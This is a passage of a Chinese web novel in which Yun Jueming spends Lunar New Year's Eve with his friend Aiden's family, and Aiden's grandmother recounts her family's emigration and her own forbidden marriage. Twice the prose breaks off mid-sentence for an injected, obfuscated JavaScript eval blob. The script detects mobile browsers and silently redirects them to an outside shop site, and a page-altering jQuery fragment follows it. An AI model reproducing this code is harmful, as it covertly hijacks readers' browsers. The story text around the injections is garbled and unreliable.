“我请假了,”艾登耸了耸肩,“除非有重要的考试,不然年三十这一天我总要请假在家陪奶奶一起过,这对她来说很重要——不止是橄榄球训练,我今天还有一节政治学课,我也请假了。好在教授很通情达理,没有算我缺席。艾莉今天也不会去学校上课。” 云决明又记起了那条消息。 虽然只有匆匆一瞥,却不妨碍云决明判断出那些伤疤已经存在很久了。他见过刚割完鲜血淋漓的模样,也见过血肉逐渐愈合时骇人的紫红色痕迹,要花上一个多星期才能让伤痕愈合成一条仿佛是由粉色的肉丝细细缝合在一起的疤痕,又要过上好几个月才能让粉色慢慢褪去,转为泛白。 他同样也知道,要有多么痛苦,才会把用刀尖把一切情绪都宣泄在自己的身上,皮肉传入神经的尖叫及不上内心嘶吼的十万分之一,反而相比之下更像慰籍。 走到这一步需要绝望,也需要勇气。 四年以前,他目睹同样的事情发生在一个女孩身上。 不,别去想她了,别让过去又卷土重来。 他在心中叹了一口气,艾登在一旁兴致勃勃地细数着今晚的年夜饭会有多么丰盛。听着他柔和低沉的声音,就像在火盆边取暖,能防止自己再一次滑入冰冷的深渊。 说到底,那终究是艾登家的家事,更是艾莉自己的私事。也许四年前他就不应该插手,现在更不应该。 “艾莉……怎么样了?”然而,这个想法只坚持了几秒,他终究还是忍不住开口问了。 “没怎么,她气个一两天的,总会过去的,现在已经没事了。”站定在门前,艾登一边摸索着钥匙,一边回答,“而且,我听了你的意见,甚至没在爷爷奶奶面前说点什么。” “我的意思是……”云决明拉住了正欲往口袋外掏钥匙的艾登,“艾莉她有没有……呃……说过一些很悲观的话?或者……或者……呃,有段时间表现得很……很提不起劲的样子?” 艾登望着他,脸色慢慢从莫名其妙转为凝重。 “你为什么这么问。” “我只是……”云决明强迫自己与艾登对视,表情转为放松自然,“就像我之前跟你说的,遭遇了幼年丧父这样的悲剧的女孩,长大以后罹患抑郁症,双向情感障碍,躁郁症,还有焦虑症的概率会大大提升,有点担心她的精神状况而已。” “噢,你吓死我了。”艾登闻言松了一口气,“我还以为艾莉发生了什么事呢,你说得好像你发现她尝试自杀了似的——我妈以前带艾莉去看过好几次心理医生,那些医生都说她没什么大碍。” 不,艾登,那不能说明她没什么大碍。 看着他掏出钥匙,打开房门,云决明难过地心想。 只能说明,艾莉是个非常具有撒谎天赋的骗子。 12. Chapter·Twelve “你等等我,让我把洛克希牵到爷爷的桌球室去。” 一进门,艾登就急匆匆地换了鞋,又迅速扯了几张湿巾擦干净了洛克希的爪子,同时一边解释着。 “我妈妈前天专门请了十几个家政工人来家里大扫除,把家里的吊灯,窗户,楼梯扶手,家具,地板,肉眼可见的一切表面都擦得干净锃亮,现在她见不得地上出现哪怕一根头发。所以我得把洛克希关起来,不让他到处乱跑。” 大狗发出了两声可怜巴巴的呜咽,接着就被他的主人带走了,云决明只来得点了点头。 他把脱下的大衣挂在门边的撑衣杆上,一转身,就瞧见了放在门厅正中央的那颗金桔树,底盆是色泽沉重的青玉雕花,树干粗壮,疏密整齐,高大圆阔,顶端几乎要与垂落下来的巨大枝形吊灯相吻。一颗颗果实色泽饱满,看着可爱。上百封金红利是错落有致地贴在枝叶上,满目尽是恭喜发财与万事如意,喜庆跃然眼前。 “你觉得这金桔树如何?” 云决明吓了一跳,他看得入迷,都没注意一个老妇人不知何时已经站在了门厅边上。她鬓发具银,却梳得一丝不苟,在脑后绾成一个优雅的髻,插着一根带金色的翡翠簪子。身上则穿着一袭墨绿旗袍,与簪子颜色刚好相得映彰,领口若隐若现一串珍珠项链,耳际也缀着一对圆润珠影。她的模样让云决明登时想起了民国时的电影海报,老去的五官仍然忠实地远映着年少时的貌美,精致未曾因为皱纹增添而逝去,反而只在妩媚天成上增添了三分熟成韵味。 “新年好,”云决明有些拘谨,手脚甚至一下子不知如何摆放。上了年纪的艾登奶奶都能给旁人以这般冲击,他心想,不知年轻时该迷倒多少青年小伙,“我是艾登的朋友,云决明。” 想了想,他又继续说道,“这颗金桔树很不错——我从来没见过这么大的。” “没见过?”艾登奶奶眉头一挑,“你也是广东人?” “我在广州长大。”云决明回答。他没法说自己是广东人,母亲祖籍是湖南,生父是个把母亲肚子搞大就跑的小混混。他与广州的联系只有他的小姨一家,如今他们也断绝了与他的关系,这话就更说不出口了。 “那就好办多了。”艾登奶奶换上了一口粤语,顿时让云决明觉得亲切多了,“你肯定会喜欢我今天做的年夜饭的,明仔——全都是最正宗,最好味的广府菜,有些现在你都未必能吃到呢。” “明仔”这个称呼差点让云决明眼眶一红,他姨夫的爸爸妈妈就这么称呼他,共同生活的那十一年里,他们也确实把他当成亲生的孙子一般疼爱。 “辛苦您了。” “有什么辛苦的,我就喜欢给一大家子人做吃的。”艾登奶奶摆了摆手,笑眯眯地说道,“对了,明仔,你吃了早餐没有啊?” “噢,我已经吃过了,不劳您费心。”云决明赶紧推脱,他今天早上喝了两碗粥才出门的。母亲倒是对他去别人家过春节这件事没什么意见,“如果你在饭桌上喝酒了,就别开车回家,在朋友家睡一夜也没事。”她只叮嘱了这一句,“华人过春节总是难免要喝点酒的,没人在乎美国的法律说什么。” “这么早就吃过了,不会是在来的路上随便塞了两口面包吧?”艾登奶奶上下打量着他,“毓臻跟我说你长得很瘦的时候,我还以为她在夸张呢,现在一看,我觉得她还客气了。年轻人不能这样的,要多吃一点,不然来阵风,风筝都没你跑得快。好啦,别在这里客气了,跟我来厨房吃点,我今天早上随便做了点吃食,还留了几碟呢。” 话听上去像是个提议,实际上却是个不容辩驳的邀请。艾登奶奶说到最后一句话的时候,她转身走开,招手让云决明随着她往厨房去。不可能叫住对方再拒绝一次,云决明只得无可奈何地跟了上去。 门厅的左侧是一条长长的走廊,一直通到一间极为宽敞气派的饭厅里。正中摆着一张长方形的餐桌,铺着印有“V”字底纹的银色厚重桌布,十二张古典印花的木椅整齐排列在两侧,桌上没有摆放餐具,只放了三座有精美雕花的银烛台,以及三簇娇艳欲滴的插花。挑高的拱顶上同样垂下了一盏派头十足的巨大钟型吊灯——云决明突然明白为何给这栋大宅搞大扫除需要十几个家政工人了。 “我们家不在这儿吃饭的。” 艾登奶奶停下脚步,抚平了餐布上的一道细小的皱痕,环视着这间饭厅,串串晶亮的吊灯垂柱在她眼里熠熠发光。艾登遗传了这双眼睛,云决明突然发觉,每次他一笑起来,双眸就如此刻他奶奶一般光彩夺目,每每都叫人难以移开视线。 “只有维尔兰德家族的亲戚——也就是艾登爷爷那边的亲属,过来这儿作客的时候,我们才会在这儿吃饭。”她回头冲云决明笑了笑,“这种西洋式的桌子不怎么温馨,是不是?中间只容得下装饰,容不下一家人分享的菜肴。” “是。”他点头。 “这边,来。” 艾登奶奶带他穿过饭厅后的拱形门廊,到了另一间稍小一些的厅堂中。“我们平时在这儿吃饭,”她说着,指了指那张圆形的黑酸枝餐桌,周围围了六张木椅,桌面正中有一盆怒放的兰花,“我觉得这儿要自在得多。一大家子围着餐桌,说说话,吃吃菜,多热闹啊。” 她往右拐,继续往前走了。云决明脚步顿了顿,他的眉头难以察觉地皱了皱。 只有六把椅子,说明艾登奶奶那边的家族从不会有任何亲属上门——甚至他妈妈的亲戚们可能也不曾上门过。 他又低头打量了几眼,才跟上对方的步子,来到厨房里。艾登奶奶已经在灶台边忙活,正把一碟碟吃食从蒸笼里拿出来,云决明过意不去,想上前帮忙,脚才迈开一步,就听得一句“你坐在那边就好啦,我自己一个人做事还快点,你都不知道东西放在哪里”传来,只好乖乖地按照对方手指的方向,坐在厨房中岛旁的吧台椅上,看着艾登奶奶来来回回,手脚麻利地把碗筷碟盘一样样摆上来。 “我随便做了一点,”艾登奶奶最后也拉了一把椅子坐下,“你可不要嫌弃噢,明仔。” 随便?嫌弃? 云决明愕然地看着面前的一碗喷香温热的艇仔粥,米粒颗颗分明,闻着就让人食指大动;旁边的小碟上摆了两个雪白的叉烧包,内里的馅如火山喷发般从中涌出,闪着油脂滑润的光泽;此外,还有一只半裹在荷叶中,酱汁尽尽填满缝隙的糯米鸡; 两三烧麦,一碗云吞,倒在“色”这一条上,成了边上陪衬的配角。最末的是一盘两式的鲜奶盏,一个似乎是传统的杏汁口味,另一个则叠放着形如船帆般的草莓,看来是水果口味。 不是传统的老茶楼,甚至都做不出这么扎实的一桌广式点心。云决明在广州度过的十一年里跟着姨妈姨夫吃了无数次早茶,这一点还是看得出来的。 “你尝尝,”艾登奶奶催促道,“我跟你说,法拉盛和中国城里那些酒楼的大厨,都没有我的厨艺好呢。” 他的肚子立刻“咕——”地应和了一声。 “你看你,”艾登奶奶笑了起来,“还说自己吃了早饭呢,多吃点,别担心。我,艾登爷爷,还有毓臻一大早都吃过了,剩下都是给你们的,我还特意做多了一些。” “我是不是该去跟艾登的爷爷打声招呼?”云决明问道,“还有艾登的母亲。” “吃完早饭再说,不急,明仔。”艾登奶奶给自己倒了一杯茶,“毓臻出门去了,她上纽约法拉盛去买菜了——有些食材只有在那儿才买得到。” 云决明点点头。 “你们原来在这里!我还找了半天,以为Ming已经上楼了呢。” 艾登大踏步地走了进来,光是听着他的声音都能想象得出他笑容满面的模样。他径直走到餐边柜前,从里面拿了一个碗,一双筷子,便在云决明身边坐下了。他刚想伸筷子,就被他奶奶打了回去。 “别乱夹,这些是给你朋友吃的,等下人家不够吃了。我另外给你留了一份,自己去拿。” 不够吃? 眼前这几盘菜在云决明看来,喂三个人都绰绰有余了。 不过,他注意到奶奶跟艾登说话时用的是英语,她的英文很好,一点口音也听不出。 “你听不懂粤语吗,艾登?”他疑惑地问道。 艾登回过头,望了望他奶奶,接着就露出了一个坏笑,“是啊,我听不懂。”他说道,“所以在我面前你可得跟奶奶说英语,不能用粤语打我的小报告。” 云决明有点将信将疑,他把目光投向艾登奶奶,却发现对方转过了身,正在给艾登舀粥。 下一刻,艾登便在打开蒸笼的刹那被滴下来的水珠烫到了手,当即便哎唷哎唷地叫疼了起来。他奶奶放下碗,一边念叨着他做事太不小心,一边把他赶开,自己亲自来忙活。坐回一旁的艾登偷偷笑了起来,眼里是藏不住的小小得意。 “只要装作笨手笨脚的样子,”他小声对云决明说,语气里是计谋得逞的快乐,“奶奶就会忍不住把所有事情都一手包办——我是说,大部分时候我都心疼她年纪大了,会主动把事情做完。但偶尔我想让奶奶宠一宠我的时候,就会这么干——哎哟,奶奶,你太辛苦了,我只是烫到了一下手指嘛,你应该让我来的。” 说话间,同样分量的早餐又摆上了台面。云决明这才意识到,原来艾登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041189|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶奶计算一个人吃多少分量是按照艾登的饭量来的。 “给你来做,等下又是烫到脚趾,又是撞到手,跟头闯进瓷器店的公牛没区别,”艾登奶奶哼了一声,“快吃啦,得了便宜还卖乖,说的就是你了。” 她揪了揪艾登的鼻子,又把粥碗往前推了推。 “所以,明仔啊,你来美国多久啦?” 不经意间,话题又转回了他身上。云决明瞥了艾登一眼,发觉他只是埋头吃饭,表面上确实是一副听不懂这边正在进行的粤语对话的样子。 “七年了。”他回答,小口喝着粥。故乡久违的味道与他的唇齿相拥,他只想让这一刻多少延长一些。 “那么小家里人就带你移民来美国啦,过得还适应吗?”艾登奶奶手捧着茶杯,有淡淡茉莉花香传来。 “……还好。”面对这么一桌丰盛的早餐,云决明总觉得自己难以撒谎,只能折中选择一个不那么违背良心的答案。 “你家里人呢?都挺好吧?” “……都挺好的。”他后来问了母亲身体是否有什么不适,母亲只说那天有点头痛,跟高谏琦要了两片止痛药吃。没什么值得担心的,他也就放下心来了。 艾登奶奶满意地点点头,又把叉烧包的碟子向他推过去,“别管喝粥呀,多吃点肉。喜欢吃的话,我把艾登那碟也拿给你吃。” 云决明立刻向身边看去,艾登对这句话毫无反应,他一只手悄悄放在桌面下划着手机,另一只手上的筷子倒是没停,一盘糯米鸡眨眼就去了一半。 “谢谢奶奶,这些已经够我吃了。”他赶紧微笑着说。 “不过,年三十这一天还要上班,实在很辛苦——我经常跟艾登说,如果他努努力,以后走上从政的道路,说不定以后我们的春节也会跟犹太人的节日一样,成为法定假日,这样大家就轻松多了。但这个人的脑子里啊,只有橄榄球这一件事。” 云决明察觉到艾登奶奶似乎在套自己的话,想要打听打听自己的家庭背景。便含糊地应了一声。 艾登奶奶望着他几秒,突然笑起来。 “你别怪我打听太多,明仔,”她不紧不慢地说道,“艾登在学校一直都是个受欢迎的孩子,但他从来没把任何一个朋友带到家里来过。好不容易来了一个,我自然会有点好奇。” “不碍事的。”至少看在这些好吃得让人停不下筷子的美食份上,确实是不碍事的。 “那就好。不若哪天也把你的父母带过来这儿吧,艾登妈妈是上海人,艾登和艾莉……你也瞧见了,连中文都不会说,更不要说粤语,我正想认识多一点广东人,一起聊聊天,说不定还能一起打麻将。” 云决明迟疑了几秒。如果这也是套话的话,那艾登奶奶的技巧也太高超了一些,叫他不得不回答。 “我妈妈不是广东人,多半也不会打麻将,”更不会想要上门来做客,但这句话是不能说出来的,“至于我……” 他挣扎了半天,却无论如何说不出我爸爸三个字。 “……我的继父几年前就跟我母亲离婚了。” 这段话,他是用英语说得,为的是艾登也能听懂——姑且就暂时相信他听不懂粤语——省得他以后还要再解释一次。 艾登果然愕然地转过头来,他似乎想说点什么,却被他奶奶严厉的眼神给制止了。 “以后你要是馋了奶奶的手艺,随时都可以过来吃饭。”奶奶拍了拍他的手,一枚硕大的钻戒跟着一上一下地闪闪发亮。她的语气很和蔼,却没有那种仿佛在可怜别人的怜悯感。这句话看似与之前的话题不相干,却让云决明感到了一丝暖意。 正说着,一阵拖沓的脚步声传来,云决明回头看去,视线正好与打着哈欠走进厨房的艾莉对上。几乎是下意识地,云决明的目光马上瞥向了大腿——她穿着长睡裤与长睡袍。随即,他就感到艾莉的目光恶狠狠地瞪了自己一眼。 “早啊,奶奶。你不用忙活,我自己去拿早餐。”她说着,也径直向灶台走去。 “怎么不跟你的哥哥还有客人打招呼?”艾登奶奶嗔怪了一句。 艾莉皱了皱眉头,云决明可以看得出她满脸都写着“我不想,我不熟”,但她最终还是嘟囔了一句,“早,哥哥,云决明。”便又弯腰去拿碗筷了。 艾登奶奶这才满意的回过头来。 “艾登告诉我,你的成绩特别好,头脑也特别聪明,这次还帮他在小测里拿到了好成绩。你是主修什么的——” “那哥哥有没有顺便告诉你,奶奶,他还亲了云决明?” 直起身子,手上端着鲜奶盏的艾莉冷不丁地冒出了这么一句。 13. Chapter·Thirteen 年夜饭吃完后,已经近九点了。 云决明等长辈离桌了以后再站起来,他下意识地就想要帮着收拾碗筷盘碟,却被祝阿姨阻止了。“这种事情有艾登去做,”她柔声说,“这是他该完成的家务。” “到客厅来跟我们一起看春晚吧,”艾登爷爷开口了,他是个极为幽默风趣的男人,一把年纪了身姿依旧挺拔,举止风度翩翩。艾登拿了一张他年轻时的照片给云决明看,后者发觉他长得与里弗·菲尼克斯有些相像,“我今天早上把直播录了下来。” 云决明迟疑着没答应。他忍着不把目光投向艾莉,免得暴露自己内心的想法——万一她在一家人聚集时又突然冒出一句惊世之言怎么办?刚才那顿饭他就一直吊着一口气,生怕艾莉又猛地冒出一句,“妈,你知道艾登亲了云决明吗?” “你们先去看吧。”艾登奶奶微笑着开口了,“今天毓臻给我从法拉盛带回来了一些中式点心,我想让Ming去挑一挑,看有没有他母亲爱吃的,可以拿回去,就当是我们的心意。” 她轻轻扶住了云决明的胳膊,等大家都往客厅走去,艾登也去厨房里开始收拾后,她才松开手,对云决明做了个噤声的手势,示意他跟自己来。 不仅是眼睛,艾登的坏笑看来也是从奶奶身上继承的。云决明心想,适才艾登奶奶狡黠地冲他一眨眼睛,淡淡一笑的模样,简直跟自己的孙子如同一个模子里刻出来的。 他没吭声,跟着艾登奶奶走,她虽说穿着低跟鞋,脚步却落地无声,带着他一路来到了前门。就在云决明以为她是要悄悄把自己送走时,她又忽地一拐,往后院绕去了。 艾登家后院很大,占据了半边山坡,能容纳下一个游泳池,一座小亭子,宽敞的露台,以及一间温室。艾登奶奶带着他登上了露台,示意他在木椅上坐下。一旁有一个用以取暖的炉子,她贴心地为他打开了。 覆盖着雪霜的木地板上仍然飘着红屑,点点似素里裹红,在柔和的射灯照耀下格外显眼,让人想起蹒跚的受伤小鹿在林中留下的足迹。云决明望着,一时出了神,心想自己下午放鞭炮时怎么没注意到这一点。 或许是因为,他已经记不清自己上一次玩得那么开心,是什么时候的事了。 艾登妈妈从纽约带回了不少烟花炮竹,那些要晚上放起来才好看,但社区管理委员会说什么也不同意这一点,只得妥协。长辈们都在屋里各忙各的,艾莉躲回了自己房间,偌大的后院只有他们两个人在玩。艾登来回跑,吭哧吭哧地把好几箱鞭炮抱进来,热的把毛衣都脱了,剩下里面一件打底的白色长袖上衣。 “小心感冒。”云决明笑道。 “我身体强壮得很。”艾登自恋地鼓了鼓他胳膊上的肌肉,“从小到大几乎没有生过病。” 云决明裹紧了大衣,有些羡慕。 他们先放的是鞭炮,社区管理委员会明确要求他们在游泳池上方放,避免火灾隐患。为了不让祝阿姨辛苦赢来的特权作废,两人只好照做。 第一回,由云决明挑着竹竿——他实在想不通这竹竿是哪儿找来的,后来才知道是艾登管酒楼老板要的,他直接从人家饭店里装饰用的竹林里拔了一根回去,好在老板是U大橄榄球队的球迷,二话不说就同意了,一分钱没要——艾登擦着火柴,点着鞭炮就往里一送。云决明没有防备,眼睁睁地看着鞭炮就这么打着旋地从竹竿上飞了出去,落在一旁的水泥地上,像条蛇一般在地上蹦跳转圈,噼里啪啦的声音震耳欲聋,谁也听不见谁说的话,等声音停歇了以后,两个人却都在止不住的大笑。 云决明说不上来什么地方让他觉得那么好笑,只是瞧见艾登捧腹大笑的模样,就让他忍俊不禁。 他们手忙脚乱地收拾了残局,艾登甚至从屋里拿来了吸尘器——“我妈说,想放可以,但是得打扫干净。”他解释道。后来,大部分的鞭炮碎屑都落在了泳池里,艾登用一种眼极细的网,很快就将它们都捞了出来。想来总有一点漏网之鱼,竟然被风吹到了这儿。 “还冷吗,明仔?”艾登奶奶突然开口了。 “不冷。”炉子散发着滚烫的热气,他全身都暖洋洋的,反而只觉得外边的空气清新宜人,坐着很舒服。 他猜到艾登奶奶带自己来这儿,多半是想谈谈早上艾莉石破天惊的那么一句话。但是看她的态度,这场谈话似乎又没有他想象中那么严肃。 当艾莉说完那句话后,艾登当即就把满嘴的茶喷了出去——这还是云决明第一次在生活中看见有人像在电视上演的那样喷水。艾登奶奶皱着眉头站起来,“哎哟,要命了,你怎么这么邋遢。毓臻要是看见这一幕,非昏过去,她前天才请人把这间厨房打扫得一尘不染呢。” 她低头一打量自己,就立刻惊呼了起来。 “真是的,傻仔,你连我衣服上都喷到了,我得赶紧去换掉。”她一边往外走,一边指了指身后,“快快在你妈妈回来以前,把这儿打扫干净,今天是年三十,不能生气的。” 她全程说的都是粤语,艾登还一个劲地点头。这时候云决明才肯定,之前他说什么听不懂粤语全都是骗自己玩的。 看着眼前这一幕,艾莉嗤笑一声,接着再给了云决明一个充满警告的眼神,这才施施然地端着自己的早餐离开了厨房。 这场风波就算这么过去了。 之后,云决明再没遇上与艾登奶奶单独相处的机会,对方看起来也不像是把这件事挂在心上的样子,整个下午都在厨房里和祝阿姨一起忙活年夜饭的准备工作,甚至都没有随口问上一句。云决明暗自祈祷这件事能就这么算了,半个字也不敢提起,甚至下午艾登突然提起这事,为了他妹妹的言行向自己道歉时,云决明也是嗯嗯两声,就把他打发过去了。 他大概知道艾莉为什么要这么说。 多半是想借这件事把他赶走,他没回复她的信息,这或许让她有些不安,不清楚自己对此的态度如何。加上自己一见面便盯住了对方的大腿,显然是还记得伤疤的事。也许是在慌乱之下,她便出此下策。 只是不知道艾登的奶奶会怎么想。 “不冷就好。”艾登奶奶拍了拍他的手,“屋子里的暖气开得太足,我总觉得太闷了,再说了,如果我们上楼说话,难保不会有人想要偷听。” 云决明认为她指的是艾莉。 “今晚的菜都合你口味吗?”看起来,艾登奶奶倒一点也不急着切入正题,反而絮絮叨叨地与他话家常。 “都很好吃。”他如实说道,有好几道菜他果真闻所未闻,听了艾登奶奶的介绍,才知道原来那都是民国时期的广州酒楼才会做的菜,用料精致又讲究,做法复杂,对食材的新鲜也有要求,怪不得祝阿姨要一大早上纽约法拉盛去买菜。他今天破天荒吃了三碗饭,已经是历史之最了。 “我家曾经有一位厨子,以前是广州南园酒楼的大厨,”她悠悠地开口说道,“这个名字对你来说多半很陌生了——但在一百年前,南园酒楼的招牌在广州可是响当当的,是‘四大酒家’之首,去过广州的达官贵人,富商洋人,就没有没去过南园酒楼的。” “您说的是那家位于前进路的南园酒家吗?”云决明疑惑地问道,他的确听过那家饭店的名气,但他总记得南园酒家是六十年代左右建的。 “那种借了名的后继酒家,是不能比的。”艾登奶奶摇了摇头,“我说的是在八旗二马路上的那家南园酒楼,早就已经拆得不剩一砖一瓦了,没人记得,也是应该的。” “我确实不知道。”云决明说。 “我的曾祖父当年花了大价钱,才把他从酒楼挖到家中。”艾登奶奶缓缓叙来,就像在说一个故事,“我的手艺虽然不是由他亲传,但也是从他身上学来的。好多菜,就像我之前说的,你现在在广州找都找不到地方吃,也没有人会做,只有从前吃得到。” “您的手艺真的很精湛。”云决明真心地夸赞道,艾登奶奶登时便笑得合不拢嘴。 “你想不想知道我曾祖父为什么费尽心思地要把南园酒楼的大厨挖到自己家里来?”她就像在分享一个了不得的秘密一样,压低了声音。 “您说吧。”总不见得是为了请来教自己曾孙女一手好厨艺。 “我的曾祖父很早就有了要离开中国的想法——那时是一百多年前,时局动荡,谁也不知道下一刻会发生什么事,头顶的天下一秒会变成谁的,他为求安稳,便想到去国外生活。” “我家是靠经商起家的,到我曾祖父那一代已经积累了不菲的财产,但家族枝繁叶茂,支系众多,花销极大,又没有分家。若是坐吃山空,一代人就能吞得干干净净。” “可说到在海外做生意,谁也没把握能成功,一是语言不通,二是文化不通,三是没有通路。做生意就就讲究个上通下达,四面六路,条条灵敏,才能比别人先一步抢占商机。” 他明白了过来,“您的曾祖父把大厨挖过来,是想在海外开中餐馆赚钱。” 艾登奶奶用笑容肯定了他的话。 “前前后后,总共花了差不多一年时间。那时候要移民这么一个大家子出去,并不容易,上上下下都须打点,还要买通蛇头,拿到身份,一些带不走的贵重家私要预先变卖,家里的地产也得做好打算。又要提前派家中得力会洋文的青年远渡他方,先落脚预备好住处。美国这些西方国家很贵,蛇头要价太高,家中上上下下百十人口,得花出去一大半家产。所以,我的曾祖父最后选择了秘鲁,当时不少华工都前去那儿做苦力,因此蛇头在当地有关系,能用一艘本来用来搭载洋人的邮轮把我们送过去。” 既然是艾登奶奶的曾祖父做这个决定,云决明思忖着,说明他应该是主支的一家之主。虽然艾登奶奶没有明说,但听她的话语,云决明也能隐约猜到她的家族约莫就像当年广州西关四大家族那样,也是有名望,有财富的大族。 他直觉对方跟自己说这个故事是有深意的,因此便默不作声地听了下去。 “那年是1910年,我的曾祖父提前得知消息,知道广州马上就要被封锁,便赶在那之前就将所有家人都送到了澳门,在那儿等待蛇头的邮轮来接。这个过程很顺利,没出什么岔子,半年后,我的家族就在秘鲁利马定居了下来,在唐人街开起了酒楼——家族中也有好几位年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041190|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少旁家子弟跟着南园酒楼的厨子学手艺,好为将来开分店做准备。我的厨艺,就是跟其中一位叔叔学的。” 听她用了“旁家”这样的词,云决明便更能肯定艾登奶奶当年在家族中的地位必然不小。 “转瞬间三十年过去,我家族的财富在秘鲁又靠着开酒楼翻了一倍,我的祖父——那会曾祖父已经去世,便决定是时候更进一步,移民美国。家族中有些人跟着他走了,有些人留下继续经营酒楼生意——我就是在美国出生的。那时,我的家族已经深谙在海外做生意的门道,便没有在美国继续酒楼行业,而是重回本行。” 她显出了怀念的神色,目光也跟着柔和了。 “不过,我的家族很传统,即便去了美国,也不许孩子在家说英文和西班牙文。从记事起,闲暇时间便都要用来跟家里的老人学中文,念四书五经,写毛笔字——哪像艾登这一代,说不去上中文学校,便不去上了。到头来连中文都不会说,不会认,更不会写。我是在美国出生长大的,可去上小学的时候,别人一张口,我竟然根本听不懂。” 云决明没做声。他其实是不太赞成这种极度传统的教育——那会让人始终处于两种文化的拉扯中,难以对任何一边有归属感。但这种话自然是不能在一个老妇人面前说出的。 “哎呀,我扯远了,应该要说厨艺的。” 艾登奶奶微微一笑,她话是这么说,话题好像也若有若无地围着打转,其实说的早就全然不搭厨艺了。 “我小时候,就跟现在的艾莉一样,叛逆得不行。那时候无论是我的家庭,还是美国社会,其实都很保守,我的家庭又更甚一步,几乎是在美国生生造了一个自己的国出来,家族里的成员仍然要遵循他们从前带来的那一套死板规矩——其实我的思想免不了要受家人的影响,但却又不肯受它束缚,一定要任性妄为,才开心。我父母是坚决反对我学习厨艺的,但他们越反对,我就学的越起劲,甚至大学毕业后飞去了秘鲁,在那儿住了一年,跟着我的远房叔叔学做菜——他的年纪很大了,本来坚决不收弟子,却捱不过我软磨硬泡。” “有一天,我遇到了一个来利马度假的男人。” “他是美国人,同样刚大学毕业不久。那时他天天跑来我叔叔的酒楼里吃饭,一日三餐都在那儿吃。他根本看不懂菜单,随手一通乱指。他自小到大没见过什么鸡爪子,鸡头,猪蹄,猪耳,猪尾巴,还有内脏下水一类,但往往点的全是那几样。他怕我看到他不肯吃中国菜,就觉得他对华人有什么误解,无论端上来什么都硬着头皮吃下去,很快就在唐人街出了名。谁都知道有个不怕死的白人竟然敢吃豉油凤爪和凉拌皮蛋。” “他是为了见您吗?”不用说,那个男人肯定就是艾登的爷爷。 艾登奶奶的笑容里掺了一丝甜蜜。 “我那时都不知道他是为了来见我的,全然不认识他,其他华人在议论他时,我也只是以为来了个想要尝新鲜刺激的白人,没有放在心上。直到有一天我代叔叔去收一箱很贵重的酒,才真正和他见面——那时他已经在酒楼里吃了半个月了。他在街上遇到过我,一直念念不忘,后来听别人说我家经营着那栋酒楼,所以天天过来。” “然后呢?”云决明从不喜欢打探别人私事,但此刻也忍不住追问道。 “哎哟,明仔,我是想跟你说厨艺的,不是跟你说我和艾德蒙的往事的,那些细节就不跟你多说啦。” 云决明没料到她竟然会这么敷衍自己,愣住了。 “不过,”艾登奶奶话锋一转,又继续说了下去,“你也猜得到,我家最大的规矩之一,就是不允许嫁洋人。我父母是把我当大家闺秀培养的,自然也希望我能嫁一个名门世家出生的华人男子,根本接受不了艾德蒙。而艾德蒙的家族也不同意他迎娶一个黄皮肤的女人。我和他两边都苦苦哀求,好话,狠话,软话,什么话都说尽了,眼泪也流尽了。最后,艾德蒙的家族终究是让步了,但我的父母却一步不退。” 艾登奶奶垂下双目,叹了一口气。 “我偶尔回想,都仍然会感到惊异——人竟然能铁石心肠到这个地步。我父母的葬礼,我都没被允许参加,他们病危,也不允许我探视。拦住我的,是与他们无亲无故的律师;亲口宣布我已非林家人的,则是那些平日里只做足表面情分就万事大吉的远方亲戚。” 说到这儿,艾登奶奶望向云决明的眼神刹那间变了,锐利又直接。 “所以,我很清楚,拥有一段不被世俗,也不被家庭认可的感情是什么样的感受。我和艾德蒙结婚的时候,就曾发誓,绝不会成为我父母那样的人,固守成见,顽固不化,到死仍要抱着规矩不放,仿佛那比什么都重要——” “可是……”云决明忍不住开口了,“可是艾登告诉我,您说过想要一个华人儿媳……”以及一个华人孙媳妇。 “别听那傻仔乱说,”艾登奶奶摆了摆手,“娶毓臻为妻,全是理查德一个人的决定,我半分都没有插手过。” 接着,她就握住了云决明的手,恳切地看着他。 “明仔,你有什么想跟奶奶说的话吗?” 14. Chapter·Fourteen 奶奶真是的。 贴着墙角,静静听着露台上对话的艾登忍不住笑了起来。 他瞧见了悄悄地领着云决明往外走去的奶奶,差点以为她是想赶在艾莉再次闯祸以前,就偷偷把他送走,免得连累妈妈和爷爷一起受惊。便草草地把锅碗瓢盆往洗碗机里一堆,也蹑手蹑脚地跟了上去。 谁知,奶奶却把他带到了后院去谈心。 她想来是误会了艾莉的话,毕竟她不清楚如今的年轻人玩得有多么开。艾登不知道自己的奶奶这一天下来思索了多久,但她显然是下定了某种决心——不管自己的孙子和眼前这个男孩是不是一对情侣,她最少都得表示自己对此的支持,免得云决明难堪,或是因为惧怕家人态度而退缩,让一段感情平白无疾而终。 结合奶奶之前在早餐桌上说过的话,她怕是还以为自己带云决明过来家里,是为了给长辈过过眼的呢。 艾登得把拳头堵在牙上才能忍住笑声。他估计云决明这会脸上的表情一定很精彩,只可惜自己瞧不见他哭笑不得的模样。 “我的确有。” 谁知,下一刻,这句话便顺着北风幽幽传来,艾登怔住了。 “你说吧,明仔。”奶奶的声音也带着点颤抖。 “……艾登能有您这样的奶奶,他很幸运。” 